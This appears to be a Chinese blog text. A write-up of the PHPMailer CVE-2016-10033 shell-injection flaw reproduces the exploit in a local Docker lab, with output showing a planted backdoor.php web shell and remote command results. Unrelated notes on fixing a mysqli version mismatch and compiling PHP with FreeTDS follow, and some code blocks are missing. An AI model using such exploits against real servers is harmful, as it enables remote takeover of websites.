漏洞描述:
GitHub上面形容PHPMailer“可能是全球PHP发送邮件最流行的代码。亦被诸多开源项目所采用,包括WordPress、Drupal、1CRM、Joomla!等”。所以这个漏洞影响范围还是比较广的,漏洞级别也为Critical最高级。漏洞编号为CVE-2016-10033。
PHPmailer的项目地址:https://github.com/PHPMailer/PHPMailer
在这个包含漏洞的PHPMailer(PHPMailer < 5.2.18)版本中,发件人的电子邮件地址在传输时没有转义为shell命令。如此一来,攻击者就可以在发件人的电子邮件中增加shell命令以便在目标机器或网站上执行恶意代码。

POC:

漏洞复现:
参考:https://github.com/opsxcq/exploit-CVE-2016-10033
安装docker:

[root@localhost /]# yum -y install docker-io
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
[root@localhost exploit-CVE-2016-10033-master]# ./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080

[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Running whoami
www-data
RemoteShell> [+] Running 

RemoteShell> id
[+] Running id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

 

影响范围:
PHPMailer < 5.2.18

漏洞修复:
升级到PHPMailer 5.2.18或更高版本。

参考文章:
http://bobao.360.cn/learning/detail/3347.html
https://github.com/opsxcq/exploit-CVE-2016-10033
https://www.exploit-db.com/exploits/40968/
http://www.freebuf.com/news/123945.html

PHP使用mysqli访问数据库发现报错
Warning: mysqli::mysqli(): Headers and client library minor version mismatch. Headers:50075 Library:50130 in /opt/web/webroot/wordsfilter/test/conn.php on line 12
查看phpinfo
Client API library version    5.1.30
Active Persistent Links    0
Inactive Persistent Links    0
Active Links    0
Client API header version    5.0.75
MYSQLI_SOCKET    /tmp/mysql.sock
因为Client API library version和Client API header version不一致导致。
PHP连接mysql需要mysql.h头文件。使用yum安装yum install mysql-devel
头文件默认在/usr/include/mysql/mysql.h
在php 5.3中

123

因为会尝试/usr /usr/local所以不指定位置也可以 直接–with-mysql
在php 5.4-5.6中

123

需要指定 –with-mysql=/usr
然后重新编译安装php即可,安装后
Client API library version    5.0.95
Active Persistent Links    0
Inactive Persistent Links    0
Active Links    0
Client API header version    5.0.95
MYSQLI_SOCKET    /var/lib/mysql/mysql.sock

1)下载freetds
./configure –prefix=/usr/local/freetds –with-tdsver=7.3 –enable-msdblib
make && make install
echo "/usr/local/freetds/lib/" > /etc/ld.so.conf.d/freetds.conf
/sbin/ldconfig

测试连接
/usr/local/freetds/bin/tsql -H 192.168.181.3 -p 1433 -U sa -P *****
修改vim freetds.conf
 36 [egServer70]  37     host = 192.168.181.3
 38     port = 1433

2)安装PHP
./configure  –prefix=/usr/local/php-fpm –with-config-file-path=/usr/local/php-fpm/etc –with-mysql=/usr/local/mysql –with-pdo-mysql=/usr/local/mysql –enable-fpm –enable-magic-quotes –with-zlib –enable-mbstring –with-mcrypt –with-mssql=/usr/local/freetds/ –with-pdo-dblib=/usr/local/freetds/

make && make install
cp /usr/local/php-fpm/etc/php-fpm.conf.default /usr/local/php-fpm/etc/php-fpm.conf

/usr/local/php-fpm/sbin/php-fpm
安装完成。